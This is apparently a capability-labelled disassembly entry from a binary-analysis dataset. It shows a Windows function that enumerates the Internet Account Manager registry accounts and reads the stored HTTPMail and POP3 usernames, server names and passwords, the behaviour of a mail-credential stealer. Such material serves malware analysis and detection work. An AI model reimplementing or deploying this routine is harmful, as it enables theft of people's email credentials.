Function at 0x140015e00
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push r13
push r14
sub rsp, 0x3e8
mov rax, qword [0x1401423c0]
xor rax, rsp
mov qword [rsp + 0x3b0], rax
xor eax, eax
movsxd r13, edx
mov r14, rcx
mov qword [rcx], rax
lea rcx, [rsp + 0x1b0]
lea rdx, str.SoftwareMicrosoftInternet_Account_ManagerAccounts
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea r11, [rsp + 0x60]
lea rdx, [rsp + 0x1b0]
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], r11
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140016281
mov qword [rsp + 0x410], rbx
mov qword [rsp + 0x3e0], rbp
mov qword [rsp + 0x3d8], rsi
mov qword [rsp + 0x3d0], rdi
mov qword [rsp + 0x3c8], r12
xor esi, esi
lea r12, [r13 + r13*4]
mov qword [rsp + 0x3c0], r15
mov dword [rsp + 0x44], 3
shl r12, 7
mov r15d, esi
lea rbp, [r12 + r14 + 0x100]
nop dword [rax + rax]
mov rcx, qword [rsp + 0x60]
lea rax, [rsp + 0x68]
lea r9, [rsp + 0x58]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rsi
lea r8, [rsp + 0x2b0]
mov edx, r15d
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x58], 0x100
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
lea rdx, str.SoftwareMicrosoftInternet_Account_ManagerAccounts
lea rcx, [rsp + 0x1b0]
mov edi, eax
mov dword [rsp + 0x48], eax
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rdx, [0x140111ca8]
lea rcx, [rsp + 0x1b0]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [rsp + 0x2b0]
lea rcx, [rsp + 0x1b0]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea r11, [rsp + 0x50]
lea rdx, [rsp + 0x1b0]
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], r11
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x40]
lea r9, [rsp + 0x44]
lea rdx, str.HTTPMail_User_Name
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x40], 0x96
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1400160b7
movsxd rax, r13d
lea rdx, [rsp + 0x70]
lea rbx, [rax + rax*4]
shl rbx, 7
add rbx, r14
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rcx, [rsp + 0x70]
xor edx, edx
mov r8d, 0x96
call fcn.1400e1fc0
lea rcx, [rbx + 0x200]
lea rdx, str.Hotmail
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x110]
lea r9, [rsp + 0x44]
lea rdx, str.HTTPMail_Password2
xor r8d, r8d
mov dword [rsp + 0x40], 0x96
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x14001608c
mov rdi, rsi
mov esi, 2
cmp dword [rsp + 0x40], esi
jbe 0x140016079
lea rbx, [rsp + 0x112]
nop dword [rax]
movzx ecx, byte [rbx]
call qword [sym.imp.USER32.dll_IsCharAlphaNumericA]
test eax, eax
jne 0x140016064
movzx eax, byte [rbx]
cmp al, 0x28
je 0x140016064
cmp al, 0x29
je 0x140016064
cmp al, 0x2e
je 0x140016064
cmp al, 0x20
je 0x140016064
cmp al, 0x2d
jne 0x14001606e
movzx eax, byte [rbx]
inc rdi
mov byte [rdi + rbp - 1], al
inc esi
inc rbx
cmp esi, dword [rsp + 0x40]
jb 0x140016040
lea rax, [r12 + rdi]
mov edi, dword [rsp + 0x48]
xor esi, esi
mov byte [rax + r14 + 0x100], 0
lea rcx, [rsp + 0x110]
xor edx, edx
mov r8d, 0x96
call fcn.1400e1fc0
inc r13d
add r12, 0x280
add rbp, 0x280
jmp 0x140016242
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x40]
lea r9, [rsp + 0x44]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x70]
lea rdx, str.POP3_User_Name
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140016242
movsxd rax, r13d
lea rdx, [rsp + 0x70]
lea rbx, [rax + rax*4]
shl rbx, 7
add rbx, r14
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rcx, [rsp + 0x70]
xor edx, edx
mov r8d, 0x96
call fcn.1400e1fc0
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x70]
lea r9, [rsp + 0x44]
lea rdx, str.POP3_Server
xor r8d, r8d
mov dword [rsp + 0x40], 0x96
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea rcx, [rbx + 0x200]
lea rdx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rcx, [rsp + 0x70]
xor edx, edx
mov r8d, 0x96
call fcn.1400e1fc0
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x110]
lea r9, [rsp + 0x44]
lea rdx, str.POP3_Password2
xor r8d, r8d
mov dword [rsp + 0x40], 0x96
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x14001621c
mov rdi, rsi
mov esi, 2
cmp dword [rsp + 0x40], esi
jbe 0x140016209
lea rbx, [rsp + 0x112]
nop dword [rax + rax]
movzx ecx, byte [rbx]
call qword [sym.imp.USER32.dll_IsCharAlphaNumericA]
test eax, eax
jne 0x1400161f4
movzx eax, byte [rbx]
cmp al, 0x28
je 0x1400161f4
cmp al, 0x29
je 0x1400161f4
cmp al, 0x2e
je 0x1400161f4
cmp al, 0x20
je 0x1400161f4
cmp al, 0x2d
jne 0x1400161fe
movzx eax, byte [rbx]
inc rdi
mov byte [rdi + rbp - 1], al
inc esi
inc rbx
cmp esi, dword [rsp + 0x40]
jb 0x1400161d0
lea rax, [r12 + rdi]
mov edi, dword [rsp + 0x48]
xor esi, esi
mov byte [rax + r14 + 0x100], 0
lea rcx, [rsp + 0x110]
xor edx, edx
mov r8d, 0x96
call fcn.1400e1fc0
inc r13d
add r12, 0x280
add rbp, 0x280
inc r15d
cmp edi, 0x103
jne 0x140015ec0
mov r15, qword [rsp + 0x3c0]
mov r12, qword [rsp + 0x3c8]
mov rdi, qword [rsp + 0x3d0]
mov rsi, qword [rsp + 0x3d8]
mov rbp, qword [rsp + 0x3e0]
mov rbx, qword [rsp + 0x410]
mov rcx, qword [rsp + 0x3b0]
xor rcx, rsp
call fcn.1400e2890
add rsp, 0x3e8
pop r14
pop r13
ret